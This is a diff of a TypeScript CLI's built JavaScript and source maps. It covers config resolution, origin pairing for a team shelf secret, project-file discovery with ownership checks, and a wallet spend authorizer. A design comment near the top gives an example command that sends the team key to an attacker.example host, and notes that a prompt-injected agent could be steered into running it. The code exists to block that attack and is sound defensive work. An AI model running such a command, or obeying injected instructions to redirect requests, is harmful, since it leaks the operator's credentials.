`discover` queries and the pay lane verifies against. */\n bazaarRegistries: string[];\n /** `experimental.bazaar`: whether the router may also offer the open Bazaar's\n * unreviewed sellers. Tenjin's reviewed list is always requested; only\n * `router.enabled false` stops every offer. */\n experimentalBazaar: boolean;\n /**\n * Hard per-send cap for `tenjin wallet send`: SEND_MAX_UNSET = never configured\n * (send refuses until `config set sendMaxAmount`), null = explicit \"none\"\n * (uncapped opt-in), 0n = disabled, otherwise the atomic cap.\n */\n sendMaxAmountAtomic: bigint | null | typeof SEND_MAX_UNSET;\n}\n\n/** `URL.origin`, or undefined for anything unparseable. */\nfunction tryOrigin(url: string): string | undefined {\n try {\n return new URL(url).origin;\n } catch {\n return undefined;\n }\n}\n\n/**\n * The team shelf's door key, paired with the origin THE OPERATOR CONFIGURED —\n * never with the one this run happens to be pointed at.\n *\n * `shelfBypassSecret` is file-only, but `baseUrl` is not: `--base-url` and\n * `TENJIN_BASE_URL` outrank the file. Pairing the secret with the RESOLVED base\n * URL therefore let one command hand the team's key to any host that was named\n * on the command line — `tenjin search --base-url https://attacker.example \"…\"`\n * sends it in the first request, and the transport's origin test agrees, because\n * the pair it compares against was built from the attacker's URL. That is not a\n * hypothetical shape: `resource-ref`'s own refusal text already names a\n * task-supplied `--base-url` as the attack a prompt-injected agent runs.\n *\n * So the compare happens here, once, before the pair exists: the key is issued\n * only when the run is still pointed at the configured shelf. A run pointed\n * anywhere else gets NO pair at all, which also drops team mode — an overridden\n * base URL runs as an ordinary public-mode run, with the client scan and the\n * confirm cascade back on, rather than as a team-mode run against a stranger.\n *\n * The generated hooks need no equivalent for the flag rule: they read `baseUrl`\n * straight out of config.json and have no flag or env layer to be re-pointed\n * through. They DO carry the second rule below (`teamShelfOrigin`).\n *\n * SECOND RULE: THE TEAM SHELF MUST BE A SHELF OF ITS OWN. Team mode was keyed on\n * a non-empty secret alone, and both `baseUrl` and `publicShelfUrl` default to\n * tenjin.sh, so the two-command day-0 setup run in the other order — or the\n * secret line alone on a second machine — put a machine in \"team mode\" pointed\n * at the PUBLIC MARKETPLACE. Team mode is precisely the mode that skips the\n * publish scan, skips the confirm cascade and prices at 0, so under\n * `publish.mode full-auto` that misconfiguration auto-publishes internal\n * codebase notes to tenjin.sh, unscanned and unacknowledged; it also posts the\n * team's key to the public marketplace and searches one origin twice per fire.\n * A secret with no private shelf behind it is a setup that is not finished, so\n * it fails safe to public mode rather than half-on. `tenjin doctor` and\n * `config set shelfBypassSecret` say so out loud, because silence here is what\n * made the misconfiguration survivable.\n */\nexport function resolveShelfBypass(\n config: PartialConfig,\n s: EffectiveSettings,\n): ShelfBypass | undefined {\n const secret = s.shelfBypassSecret.value;\n if (secret.length === 0) return undefined;\n const configured = tryOrigin(config.baseUrl ?? CONFIG_DEFAULTS.baseUrl);\n const effective = tryOrigin(s.baseUrl.value);\n if (configured === undefined || effective === undefined || configured !== effective) {\n return undefined;\n }\n if (!isTeamShelfOrigin(configured, s.publicShelfUrl.value)) return undefined;\n return { origin: configured, secret };\n}\n\n/**\n * Is `origin` a shelf of the team's own, as opposed to the public marketplace?\n *\n * The compare `resource-ref` already makes to no-op its second-origin allowance,\n * plus the production origin itself: a `publicShelfUrl` pointed somewhere else\n * must not make tenjin.sh read as private. `isSameDeployment` rather than `===`\n * so an alias of production (tenjin.blog) is not a loophole.\n */\nexport function isTeamShelfOrigin(origin: string, publicShelfUrl: string): boolean {\n if (isSameDeployment(origin, PRODUCTION_ORIGIN)) return false;\n const publicOrigin = tryOrigin(publicShelfUrl);\n return publicOrigin === undefined || !isSameDeployment(origin, publicOrigin);\n}\n\n/**\n * Is this MACHINE in team mode — a shelf of the team's own plus the door key that\n * opens it? The same two-part rule `resolveContextSettings` applies\n * (`ResolvedSettings.teamMode`), read off the raw config instead of resolved\n * settings, and the difference is deliberate: a `--base-url` or `TENJIN_BASE_URL`\n * on one invocation must not answer this question.\n *\n * The installed skill text (lib/skill-materialize) needs the raw-config form: it\n * outlives the command that wrote it and is read by every later session on this\n * machine, so shaping it by a one-off flag would leave a team machine reading\n * public guidance until the next install.\n *\n * A secret with `baseUrl` still on the marketplace is NOT team mode, per\n * {@link isTeamShelfOrigin}: that half-set state runs as ordinary public mode\n * rather than treating tenjin.sh as a private shelf.\n */\nexport function isTeamModeConfig(config: PartialConfig): boolean {\n const secret = config.shelfBypassSecret ?? CONFIG_DEFAULTS.shelfBypassSecret;\n if (typeof secret !== 'string' || secret === '') return false;\n const origin = tryOrigin(config.baseUrl ?? CONFIG_DEFAULTS.baseUrl);\n if (origin === undefined) return false;\n return isTeamShelfOrigin(origin, config.publicShelfUrl ?? CONFIG_DEFAULTS.publicShelfUrl);\n}\n\n/** Where a close for one stored search has to go, and whether it carries the key. */\nexport interface ShelfRoute {\n baseUrl: string;\n bypass?: ShelfBypass;\n /**\n * False when the ENTRY named a shelf other than the configured `baseUrl` —\n * including an unrecognised origin, which `baseUrl` above nonetheless routes\n * back to the configured shelf.\n */\n configured: boolean;\n}\n\n/**\n * THE SHELF THAT ANSWERED, for anything closing a loop.\n *\n * A team-mode search asks the team shelf and falls through to the public\n * marketplace, and the two have separate databases: the searchId the public leg\n * minted exists only there. Posting its outcome to the team shelf tells the team\n * shelf about a search it never ran (where it retries a parent-not-visible window\n * and then raises `outcomes_dropped_no_parent`, an alarm meant to mean a broken\n * fleet) and tells the marketplace — whose demand signal is the entire reason the\n * verb exists — nothing at all.\n *\n * `shelfBaseUrl` is absent on an entry written before it existed and on every\n * single-shelf public-mode run, and absent means the configured base, which is\n * what those entries meant.\n *\n * ONLY THE TWO CONFIGURED SHELVES ARE ROUTABLE. `shelfBaseUrl` is a plain\n * optional string in the store schema with no URL validation, and the only\n * writers are this CLI's own two configured values — so any OTHER origin in that\n * field is a corrupt or planted entry, not a third shelf, and one hand-edited\n * search row would otherwise make `tenjin outcome --search-id` POST to\n * a host the operator never configured. An unrecognised origin therefore routes\n * to the configured base exactly as a missing or unparseable one does: fail open\n * to the configured shelf, never out to a foreign one. This is the same\n * re-assertion `resolveResourceRef` already makes against this store's\n * `candidate.url` before any send. `configured` still reports false for such an\n * entry, so `publish` keeps dropping its searchId rather than misfiling it.\n *\n * THE KEY RIDES THE ORIGIN, not the call site: `bypass` comes back only when the\n * route is the origin the secret was paired with. The transport re-derives the\n * same rule from the request URL ({@link shelfBypassHeaders}), so this is the\n * second of two locks rather than the only one — but a call site that reads\n * `route.bypass` should never be the place a key first goes off-origin.\n */\nexport function shelfRouteFor(\n stored: { shelfBaseUrl?: string } | null | undefined,\n settings: Pick<ResolvedSettings, 'baseUrl' | 'publicShelfUrl' | 'bypass'>,\n): ShelfRoute {\n const recorded = stored?.shelfBaseUrl;\n const configuredOrigin = tryOrigin(settings.baseUrl);\n const recordedOrigin = recorded === undefined ? undefined : tryOrigin(recorded);\n // An unparseable record is not a second shelf, it is a corrupt field: fall back\n // to the configured base rather than posting a close nowhere.\n if (recorded === undefined || recordedOrigin === undefined) {\n return {\n baseUrl: settings.baseUrl,\n ...(settings.bypass !== undefined ? { bypass: settings.bypass } : {}),\n configured: true,\n };\n }\n const configured =\n configuredOrigin !== undefined && isSameDeployment(recordedOrigin, configuredOrigin);\n // The allow-list: the configured base, or the public shelf it falls through to.\n // Nothing else is a shelf this machine ever searched.\n const publicOrigin = tryOrigin(settings.publicShelfUrl);\n const routable =\n configured || (publicOrigin !== undefined && isSameDeployment(recordedOrigin, publicOrigin));\n if (!routable) {\n return {\n baseUrl: settings.baseUrl,\n ...(settings.bypass !== undefined ? { bypass: settings.bypass } : {}),\n configured: false,\n };\n }\n const carries = settings.bypass !== undefined && settings.bypass.origin === recordedOrigin;\n return {\n baseUrl: recorded,\n ...(carries ? { bypass: settings.bypass } : {}),\n configured,\n };\n}\n\nexport async function resolveContextSettings(ctx: CommandContext): Promise<ResolvedSettings> {\n const config = await loadRawConfig(ctx.dataDir);\n const s = resolveSettings({ config, flags: { baseUrl: ctx.flags.baseUrl }, env: process.env });\n // Paired with the origin here, once, so no command has to remember to.\n const bypass = resolveShelfBypass(config, s);\n return {\n baseUrl: s.baseUrl.value,\n configuredBaseUrl: config.baseUrl ?? CONFIG_DEFAULTS.baseUrl,\n publicShelfUrl: s.publicShelfUrl.value,\n ...(bypass !== undefined ? { bypass } : {}),\n teamMode: bypass !== undefined,\n rpcUrl: s.rpcUrl.value,\n evalCohort: s.evalCohort.value,\n bazaarRegistries: s.bazaarRegistries.value,\n experimentalBazaar: s.experimentalBazaar.value === 'on',\n sendMaxAmountAtomic:\n s.sendMaxAmount.value === SEND_MAX_UNSET\n ? SEND_MAX_UNSET\n : s.sendMaxAmount.value === 'none'\n ? null\n : BigInt(s.sendMaxAmount.value),\n policy: {\n maxAutoSpendAtomic: BigInt(s.maxAutoSpend.value),\n sessionBudgetAtomic: s.sessionBudget.value === 'none' ? null : BigInt(s.sessionBudget.value),\n allowlistCreators: s.allowlistCreators.value,\n },\n };\n}\n\n// ---------------------------------------------------------------------------\n// Publish consent settings (B3, D38)\n//\n// The publish mode/price cascade extends the same precedence machinery\n// (resolvePublishMode / resolvePublishDefaultPrice in lib/config) with a\n// per-project layer that needs I/O the pure resolvers can't do: it walks up from\n// cwd for a `.tenjin.json` and asks git whether that file is committed (the\n// loosening gate on `full-auto`). It lives here beside resolveContextSettings so\n// there is one settings resolver, not a parallel one.\n// ---------------------------------------------------------------------------\n\nexport const PROJECT_CONFIG_FILE = '.tenjin.json';\n\n/**\n * The per-project override file. `publish.defaultPrice` is DECIMAL USD (\"0.10\"),\n * because a hand-edited project file is a human edge (O1) — unlike config.json,\n * which stores atomic because `config set` converts at the command edge. The\n * decimal string is converted to atomic at load via the same money util the\n * config command uses. Partial + passthrough: forward-compatible with subkeys a\n * newer CLI adds, same posture as the global config.\n */\nconst ProjectConfigSchema = z\n .object({\n publish: z\n .object({\n mode: PublishModeSchema.optional(),\n defaultPrice: z.string().optional(),\n })\n .passthrough()\n .optional(),\n })\n .passthrough();\n\nexport interface LoadedProjectConfig {\n /** Absolute path of the discovered `.tenjin.json`. */\n path: string;\n layer: ProjectPublishLayer;\n}\n\nexport interface PublishSettingsDeps extends ProjectWalkDeps {\n /** git check-ignore seam; defaults to shelling out to git (see wallet/passphrase). */\n isGitignored?: (filePath: string) => Promise<boolean>;\n}\n\nexport interface ResolvedPublishSettings {\n mode: PublishMode;\n modeSource: Provenance;\n defaultPriceAtomic: string;\n defaultPriceSource: Provenance;\n /** The standing answer to the server gate's warn tier; see lib/consent.ts. */\n ackServerWarnings: AckServerWarnings;\n /** Non-fatal notices for stderr (e.g. the full-auto downgrade). */\n warnings: string[];\n /** The `.tenjin.json` that contributed the project layer, if one was found. */\n projectConfigPath?: string;\n}\n\n/**\n * Resolve the effective publish mode + default price across every layer:\n * global config.json < project `.tenjin.json` < env (TENJIN_PUBLISH_MODE) <\n * flag (`--mode`), with the `full-auto` loosening gate applied to the project\n * layer. The seam a `publish` command (B3.2) resolves its consent through.\n */\nexport async function resolvePublishSettings(\n input: { dataDir: string; cwd: string; flag?: string; env?: NodeJS.ProcessEnv },\n deps: PublishSettingsDeps = {},\n): Promise<ResolvedPublishSettings> {\n const env = input.env ?? process.env;\n const config = await loadRawConfig(input.dataDir);\n const project = await loadProjectConfig(input.cwd, deps);\n const layer = project?.layer;\n\n const mode = resolvePublishMode({ config, project: layer, env, flag: input.flag });\n const price = resolvePublishDefaultPrice({ config, project: layer });\n const warnings = mode.downgradedWarning !== undefined ? [mode.downgradedWarning] : [];\n // Said out loud for the same reason the downgrade is: a consent setting the\n // operator believes is in force, and is not, is worse than one they know is\n // ignored. `writeModeNotices` puts every entry of this list on stderr.\n if (layer?.ignoredAckServerWarnings === true) {\n warnings.push(\n `Ignoring publish.ackServerWarnings in ${project?.path ?? PROJECT_CONFIG_FILE}: it is read from the global config only, since it can only widen what a yes covers. Set it with \\`tenjin config set publish.ackServerWarnings <mode|on|off>\\`.`,\n );\n }\n\n return {\n mode: mode.value,\n modeSource: mode.source,\n defaultPriceAtomic: price.value,\n defaultPriceSource: price.source,\n // Global config only, on purpose: the project layer never contributes here,\n // so `project` is deliberately not passed. ONE reader, the same one\n // `resolveSettings` uses, because two global-only readings that drifted\n // would drift about consent.\n ackServerWarnings: resolveAckServerWarnings(config).value,\n warnings,\n ...(project !== null ? { projectConfigPath: project.path } : {}),\n };\n}\n\n/**\n * Find the nearest `.tenjin.json` walking up from cwd toward the repo root (the\n * first directory holding a `.git`, inclusive), never crossing above $HOME, then\n * load, validate, and check whether it is gitignored. A file not owned by the\n * current user is ignored with a stderr warning (a planted config on a shared\n * host must not become the honored project layer). Null when none is found; a\n * present-but-unreadable/malformed file is CONFIG_INVALID (never silently\n * skipped).\n */\nexport async function loadProjectConfig(\n cwd: string,\n deps: PublishSettingsDeps = {},\n): Promise<LoadedProjectConfig | null> {\n const path = await findProjectConfigFile(cwd, deps);\n if (path === null) return null;\n\n let json: unknown;\n try {\n // readFile is inside the try: a raced delete (ENOENT), a directory named\n // .tenjin.json (EISDIR), or a permission error (EACCES) is a bad project file,\n // not an INTERNAL fault.\n json = JSON.parse(await readFile(path, 'utf8'));\n } catch (err) {\n throw new CliError('CONFIG_INVALID', `${PROJECT_CONFIG_FILE} at ${path} could not be read`, {\n fix: `Fix or delete ${path} (must be a readable JSON file).`,\n cause: err,\n });\n }\n const parsed = ProjectConfigSchema.safeParse(json);\n if (!parsed.success) {\n throw new CliError('CONFIG_INVALID', `${PROJECT_CONFIG_FILE} at ${path} is invalid`, {\n fix: `Correct the reported keys in ${path}, or delete it.`,\n details: parsed.error.issues,\n });\n }\n\n const isGitignored = deps.isGitignored ?? defaultIsGitignored;\n const gitignored = await isGitignored(path);\n const layer: ProjectPublishLayer = { gitignored };\n if (parsed.data.publish !== undefined) {\n const { mode, defaultPrice } = parsed.data.publish;\n layer.publish = {\n ...(mode !== undefined ? { mode } : {}),\n ...(defaultPrice !== undefined\n ? { defaultPrice: parseProjectPrice(defaultPrice, path) }\n : {}),\n };\n // The block is passthrough, so this key parses here and is then never read:\n // `ackServerWarnings` is global-only because it can only loosen what a yes\n // covers. Failing closed is the point, but doing it SILENTLY leaves an\n // operator believing a consent setting is in force that is not, so it says\n // so on stderr the way a downgraded `full-auto` does.\n if ((parsed.data.publish as { ackServerWarnings?: unknown }).ackServerWarnings !== undefined) {\n layer.ignoredAckServerWarnings = true;\n }\n }\n return { path, layer };\n}\n\n/**\n * Convert a `.tenjin.json` decimal-USD price to atomic via the shared money\n * parser. parseUsdToAtomic throws USAGE on a bad amount; re-raise as\n * CONFIG_INVALID naming the file, so it reads like the file's other errors.\n */\nfunction parseProjectPrice(decimalUsd: string, path: string): string {\n try {\n return parseUsdToAtomic(decimalUsd);\n } catch (err) {\n throw new CliError(\n 'CONFIG_INVALID',\n `${PROJECT_CONFIG_FILE} at ${path} has an invalid publish.defaultPrice`,\n { fix: 'Use a non-negative decimal USD amount like \"0.10\".', cause: err },\n );\n }\n}\n\nasync function findProjectConfigFile(\n cwd: string,\n deps: PublishSettingsDeps,\n): Promise<string | null> {\n const hit = await findNearestProjectFiles(cwd, [PROJECT_CONFIG_FILE], deps);\n return hit?.found[0] ?? null;\n}\n\nexport interface ProjectWalkDeps {\n /** Ownership seam; defaults to stat().uid vs process uid. Gates a planted file. */\n isForeignOwned?: (filePath: string) => Promise<boolean>;\n /** One-line stderr warning sink; defaults to process.stderr. */\n warn?: (message: string) => void;\n /** Upper bound of the walk; defaults to the user's home directory. */\n homeDir?: string;\n}\n\nexport interface ProjectWalkHit {\n /** The directory the walk stopped in. */\n dir: string;\n /** Every candidate present there and owned by this user, in `names` order. */\n found: string[];\n}\n\n/**\n * THE ONE WALK UP FROM A WORKING DIRECTORY to a project file, shared by the\n * shelf's `.tenjin.json` and the router's `.tenjin/config.json` pair: the\n * nearest directory, walking up from `cwd`, that holds at least one of\n * `names` (paths relative to that directory). `homeIsProject: false` stops\n * before looking in $HOME itself, for a file whose home copy is the global one.\n */\nexport async function findNearestProjectFiles(\n cwd: string,\n names: readonly string[],\n deps: ProjectWalkDeps & { homeIsProject?: boolean } = {},\n): Promise<ProjectWalkHit | null> {\n const homeDir = deps.homeDir ?? homedir();\n\n let dir = cwd;\n // Bounded by $HOME (a shared-host trust boundary) and the filesystem root\n // (dirname('/') === '/'), whichever comes first.\n for (;;) {\n if (dir === homeDir && deps.homeIsProject === false) return null;\n const found = await ownedCandidates(dir, names, deps);\n if (found.length > 0) return { dir, found };\n if (await pathExists(join(dir, '.git'))) return null; // repo root, no file\n if (dir === homeDir) return null; // never cross above $HOME\n const parent = dirname(dir);\n if (parent === dir) return null;\n dir = parent;\n }\n}\n\n/**\n * EVERY directory from `cwd` up to the git root (inclusive) that holds one of\n * `names`, nearest first, under the same bounds as\n * {@link findNearestProjectFiles}; `gitRoot` is null outside a repository.\n * For layers that each only tighten, where reading one more can never loosen.\n */\nexport async function findAllProjectFiles(\n cwd: string,\n names: readonly string[],\n deps: ProjectWalkDeps & { homeIsProject?: boolean } = {},\n): Promise<{ levels: ProjectWalkHit[]; gitRoot: string | null }> {\n const homeDir = deps.homeDir ?? homedir();\n const levels: ProjectWalkHit[] = [];\n let dir = cwd;\n for (;;) {\n if (dir === homeDir && deps.homeIsProject === false) return { levels, gitRoot: null };\n const found = await ownedCandidates(dir, names, deps);\n if (found.length > 0) levels.push({ dir, found });\n if (await pathExists(join(dir, '.git'))) return { levels, gitRoot: dir };\n if (dir === homeDir) return { levels, gitRoot: null };\n const parent = dirname(dir);\n if (parent === dir) return { levels, gitRoot: null };\n dir = parent;\n }\n}\n\n/**\n * The main working tree behind a git worktree whose root is `gitRoot`, or null\n * when `gitRoot` is not a linked worktree. Filesystem only, no `git` process:\n * the worktree's `.git` FILE names its gitdir, whose `commondir` names the\n * main repository's `.git`. A bare common dir, one that resolves outside\n * $HOME, and a submodule (a gitdir with no `commondir`) all give null.\n */\nexport async function mainWorktreeOf(\n gitRoot: string,\n homeDir: string = homedir(),\n): Promise<string | null> {\n try {\n const dotGit = join(gitRoot, '.git');\n if (!(await stat(dotGit)).isFile()) return null;\n const line = /^gitdir:\\s*(.+?)\\s*$/m.exec(await readFile(dotGit, 'utf8'));\n if (line === null) return null;\n const gitdir = resolve(gitRoot, line[1]!);\n const commonDir = resolve(gitdir, (await readFile(join(gitdir, 'commondir'), 'utf8')).trim());\n if (basename(commonDir) !== '.git' || !(await stat(commonDir)).isDirectory()) return null;\n const main = dirname(commonDir);\n if (main === gitRoot || !main.startsWith(`${homeDir}${sep}`)) return null;\n return main;\n } catch {\n return null;\n }\n}\n\n/** The candidates present in `dir` and owned by this user, in `names` order. */\nexport async function ownedCandidates(\n dir: string,\n names: readonly string[],\n deps: ProjectWalkDeps = {},\n): Promise<string[]> {\n const isForeignOwned = deps.isForeignOwned ?? defaultIsForeignOwned;\n const warn = deps.warn ?? ((message: string) => process.stderr.write(`${message}\\n`));\n const found: string[] = [];\n for (const name of names) {\n const candidate = join(dir, name);\n if (!(await pathExists(candidate))) continue;\n if (await isForeignOwned(candidate)) {\n // A file owned by another user (e.g. /tmp/.tenjin.json on a shared box)\n // must never become the honored layer; skip it and keep walking.\n warn(`Ignoring ${candidate}: not owned by the current user.`);\n } else {\n found.push(candidate);\n }\n }\n return found;\n}\n\n/**\n * The directory a project file belongs in when none exists yet: the git root\n * above `cwd`, or `cwd` itself outside a repository. Same bounds as the walk.\n */\nexport async function projectRoot(cwd: string, homeDir: string = homedir()): Promise<string> {\n let dir = cwd;\n for (;;) {\n if (await pathExists(join(dir, '.git'))) return dir;\n if (dir === homeDir) return cwd;\n const parent = dirname(dir);\n if (parent === dir) return cwd;\n dir = parent;\n }\n}\n\n/**\n * True when the file is owned by a different uid than the process. On a platform\n * without a uid model (Windows: process.getuid is undefined) this is always\n * false — the ownership gate is a POSIX shared-host protection.\n */\nasync function defaultIsForeignOwned(filePath: string): Promise<boolean> {\n const uid = process.getuid?.();\n if (uid === undefined) return false;\n try {\n return (await stat(filePath)).uid !== uid;\n } catch {\n return false;\n }\n}\n\n/** True when a path exists (of any type). */\nexport async function pathExists(path: string): Promise<boolean> {\n try {\n await stat(path);\n return true;\n } catch {\n return false;\n }\n}\n\n/**\n * True only on a git check-ignore exit 0 (the path is ignored). Exit 1 (tracked)\n * and any error (git absent, not a repo) resolve false: `full-auto` is honored\n * from a project file ONLY when git positively confirms it is ignored. Uses\n * execFile with an argv array (never a shell), matching wallet/passphrase.ts.\n */\nfunction defaultIsGitignored(filePath: string): Promise<boolean> {\n return new Promise((resolve) => {\n execFile(\n 'git',\n ['check-ignore', '--quiet', '--', filePath],\n { cwd: dirname(filePath) },\n (err) => resolve(err === null),\n );\n });\n}\n"],"mappings":";;;;;;;;;;;;;;;;;;;;;AAAA,SAAS,gBAAgB;AACzB,SAAS,UAAU,YAAY;AAC/B,SAAS,eAAe;AACxB,SAAS,UAAU,SAAS,MAAM,SAAS,WAAW;AA0EtD,SAAS,UAAU,KAAiC;AAClD,MAAI;AAC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B,UAAoC;AAC/D,SAAO,IAAI,QAAQ,CAACA,aAAY;AAC9B;AAAA,MACE;AAAA,MACA,CAAC,gBAAgB,WAAW,MAAM,QAAQ;AAAA,MAC1C,EAAE,KAAK,QAAQ,QAAQ,EAAE;AAAA,MACzB,CAAC,QAAQA,SAAQ,QAAQ,IAAI;AAAA,IAC/B;AAAA,EACF,CAAC;AACH;","names":["resolve"]}
@@ -0,0 +1,192 @@
1
+ import { createRequire as __tenjinCreateRequire } from 'node:module'; const require = __tenjinCreateRequire(import.meta.url);
2
+ import {
3
+ DEFAULT_WINDOW_MS,
4
+ RESERVATION_TTL_MS,
5
+ emptyLedger,
6
+ readLedger,
7
+ spentOf
8
+ } from "./chunk-WK7F3B2E.js";
9
+ import {
10
+ withFileLock
11
+ } from "./chunk-MEFB5KHA.js";
12
+ import {
13
+ evaluateSpendPolicy
14
+ } from "./chunk-2SNUOHAT.js";
15
+ import {
16
+ writeFileAtomic
17
+ } from "./chunk-7WEQQJLG.js";
18
+ import {
19
+ spendLedgerPath
20
+ } from "./chunk-SJLTEINJ.js";
21
+
22
+ // src/lib/wallet/spend.ts
23
+ import { mkdir } from "node:fs/promises";
24
+ import { randomUUID } from "node:crypto";
25
+ function createLocalSpendAuthorizer(deps) {
26
+ const windowMs = deps.windowMs ?? DEFAULT_WINDOW_MS;
27
+ const now = deps.now ?? Date.now;
28
+ const path = spendLedgerPath(deps.dir);
29
+ const lockPath = `${path}.lock`;
30
+ let warnedCorrupt = false;
31
+ const freshen = (ledger, nowMs) => {
32
+ if (ledger === null || nowMs - ledger.windowStartMs >= windowMs) return emptyLedger(nowMs);
33
+ return {
34
+ ...ledger,
35
+ reservations: ledger.reservations.filter((r) => nowMs - r.atMs < RESERVATION_TTL_MS)
36
+ };
37
+ };
38
+ const persist = async (ledger) => {
39
+ await writeFileAtomic(path, `${JSON.stringify(ledger, null, 2)}
40
+ `, {
41
+ mode: 384,
42
+ dirMode: 448
43
+ });
44
+ };
45
+ async function withLedger(fn) {
46
+ await mkdir(deps.dir, { recursive: true, mode: 448 });
47
+ return withFileLock(lockPath, async () => {
48
+ const nowMs = now();
49
+ const read = await readLedger(path);
50
+ if (read.corrupt !== void 0 && !warnedCorrupt) {
51
+ warnedCorrupt = true;
52
+ deps.onCorrupt?.(read.corrupt);
53
+ }
54
+ const ledger = freshen(read.ledger, nowMs);
55
+ return fn(ledger, nowMs);
56
+ });
57
+ }
58
+ return {
59
+ policyEnforcement: "client-only",
60
+ async authorize(req) {
61
+ return withLedger(async (ledger) => {
62
+ const sessionSpentAtomic = spentOf(ledger);
63
+ if (req.requestKey !== void 0 && ledger.reservations.some((r) => r.requestKey === req.requestKey)) {
64
+ return {
65
+ decision: "deny",
66
+ reason: "duplicate_in_flight",
67
+ message: "An identical request already holds a reservation in this turn. No second payment was made.",
68
+ amountAtomic: req.amountAtomic,
69
+ sessionSpentAtomic,
70
+ sessionBudgetAtomic: deps.policy.sessionBudgetAtomic,
71
+ policyEnforcement: "client-only"
72
+ };
73
+ }
74
+ const evaluation = evaluateSpendPolicy(deps.policy, {
75
+ mode: req.mode ?? "automatic",
76
+ amountAtomic: req.amountAtomic,
77
+ creator: req.creator,
78
+ ...req.maxPriceAtomic !== void 0 ? { maxPriceAtomic: req.maxPriceAtomic } : {},
79
+ sessionSpentAtomic
80
+ });
81
+ const base = {
82
+ ...evaluation,
83
+ amountAtomic: req.amountAtomic,
84
+ sessionSpentAtomic,
85
+ sessionBudgetAtomic: deps.policy.sessionBudgetAtomic,
86
+ policyEnforcement: "client-only"
87
+ };
88
+ if (evaluation.decision === "deny") {
89
+ return base;
90
+ }
91
+ const reservation = {
92
+ id: randomUUID(),
93
+ mode: req.mode ?? "automatic",
94
+ amountAtomic: req.amountAtomic.toString(),
95
+ atMs: now(),
96
+ ...req.requestKey !== void 0 ? { requestKey: req.requestKey } : {}
97
+ };
98
+ await persist({ ...ledger, reservations: [...ledger.reservations, reservation] });
99
+ return { ...base, reservationId: reservation.id };
100
+ });
101
+ },
102
+ async commit(reservationId, amountAtomic, opts = {}) {
103
+ await withLedger(async (ledger) => {
104
+ const reservation = reservationId !== void 0 ? ledger.reservations.find((r) => r.id === reservationId) : void 0;
105
+ const exposure = reservation !== void 0 ? BigInt(reservation.amountAtomic) : amountAtomic;
106
+ const settled = opts.settledAtomic ?? exposure;
107
+ const settledSoFar = BigInt(ledger.settledAtomic ?? ledger.committedAtomic);
108
+ const mode = reservation ? reservation.mode ?? "automatic" : opts.mode ?? "automatic";
109
+ await persist({
110
+ ...ledger,
111
+ committedAtomic: (BigInt(ledger.committedAtomic) + exposure).toString(),
112
+ automaticCommittedAtomic: (BigInt(ledger.automaticCommittedAtomic ?? ledger.committedAtomic) + (mode === "manual" ? 0n : exposure)).toString(),
113
+ settledAtomic: (settledSoFar + settled).toString(),
114
+ reservations: reservationId !== void 0 ? ledger.reservations.filter((r) => r.id !== reservationId) : ledger.reservations,
115
+ // Keyed by the authorization's nonce, so a reconcile that proves it
116
+ // was never charged can release this amount and nothing else.
117
+ ...opts.nonce !== void 0 ? {
118
+ exposures: [
119
+ ...ledger.exposures ?? [],
120
+ {
121
+ nonce: opts.nonce.toLowerCase(),
122
+ amountAtomic: exposure.toString(),
123
+ atMs: now(),
124
+ mode
125
+ }
126
+ ]
127
+ } : {}
128
+ });
129
+ });
130
+ },
131
+ async release(reservationId) {
132
+ if (reservationId === void 0) return;
133
+ await withLedger(async (ledger) => {
134
+ if (!ledger.reservations.some((r) => r.id === reservationId)) return;
135
+ await persist({
136
+ ...ledger,
137
+ reservations: ledger.reservations.filter((r) => r.id !== reservationId)
138
+ });
139
+ });
140
+ }
141
+ };
142
+ }
143
+ async function releaseUnchargedExposure(dir, nonce, opts = {}) {
144
+ const path = spendLedgerPath(dir);
145
+ const nowMs = (opts.now ?? Date.now)();
146
+ try {
147
+ return await withFileLock(`${path}.lock`, async () => {
148
+ const { ledger } = await readLedger(path);
149
+ if (ledger === null || nowMs - ledger.windowStartMs >= (opts.windowMs ?? DEFAULT_WINDOW_MS)) {
150
+ return 0n;
151
+ }
152
+ const key = nonce.toLowerCase();
153
+ const entry = (ledger.exposures ?? []).find((e) => e.nonce === key);
154
+ if (entry === void 0) return 0n;
155
+ const amount = BigInt(entry.amountAtomic);
156
+ const less = (value, fallback) => {
157
+ const current = BigInt(value ?? fallback);
158
+ return (current > amount ? current - amount : 0n).toString();
159
+ };
160
+ await writeFileAtomic(
161
+ path,
162
+ `${JSON.stringify(
163
+ {
164
+ ...ledger,
165
+ committedAtomic: less(ledger.committedAtomic, "0"),
166
+ ...entry.mode === "manual" ? {} : {
167
+ automaticCommittedAtomic: less(
168
+ ledger.automaticCommittedAtomic,
169
+ ledger.committedAtomic
170
+ )
171
+ },
172
+ settledAtomic: less(ledger.settledAtomic, ledger.committedAtomic),
173
+ exposures: (ledger.exposures ?? []).filter((e) => e.nonce !== key)
174
+ },
175
+ null,
176
+ 2
177
+ )}
178
+ `,
179
+ { mode: 384, dirMode: 448 }
180
+ );
181
+ return amount;
182
+ });
183
+ } catch {
184
+ return null;
185
+ }
186
+ }
187
+
188
+ export {
189
+ createLocalSpendAuthorizer,
190
+ releaseUnchargedExposure
191
+ };
192
+ //# sourceMappingURL=chunk-7ZRL2LBQ.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"sources":["../src/lib/wallet/spend.ts"],"sourcesContent":["import { mkdir } from 'node:fs/promises';\nimport { randomUUID } from 'node:crypto';\nimport { writeFileAtomic } from '../atomic-json';\nimport { withFileLock } from '../lock';\nimport { spendLedgerPath } from '../paths';\nimport {\n DEFAULT_WINDOW_MS,\n emptyLedger,\n readLedger,\n RESERVATION_TTL_MS,\n spentOf,\n type Ledger,\n type Reservation,\n} from '../spend-ledger';\nimport {\n evaluateSpendPolicy,\n type PolicyReason,\n type SpendDecision,\n type SpendPolicy,\n type PaymentMode,\n} from '../policy';\nimport type { PolicyEnforcement } from './provider';\n\n/**\n * The spend-policy enforcement seam, deliberately in the WALLET PROVIDER layer,\n * BEFORE any signing/payment path, so a future hosted provider (Privy, B5)\n * inherits it: policy moves provider-side by swapping this local authorizer for\n * one the hosted signer enforces. The local authorizer is `client-only` (any\n * process that runs the CLI can edit config or the ledger), and it says so.\n *\n * sessionBudget is enforced ATOMICALLY across the per-command CLI processes an\n * agent spawns: `authorize` takes the file lock and, when a spend may proceed,\n * writes a pending RESERVATION that counts against the budget immediately. Two\n * concurrent authorizations therefore each see the other's reservation and the\n * second is denied, closing the check-then-pay TOCTOU. `commit` finalizes a\n * reservation into committed spend after settlement; `release` drops an unused\n * one (a decline or a failed payment). A reservation left dangling (a crash\n * between authorize and 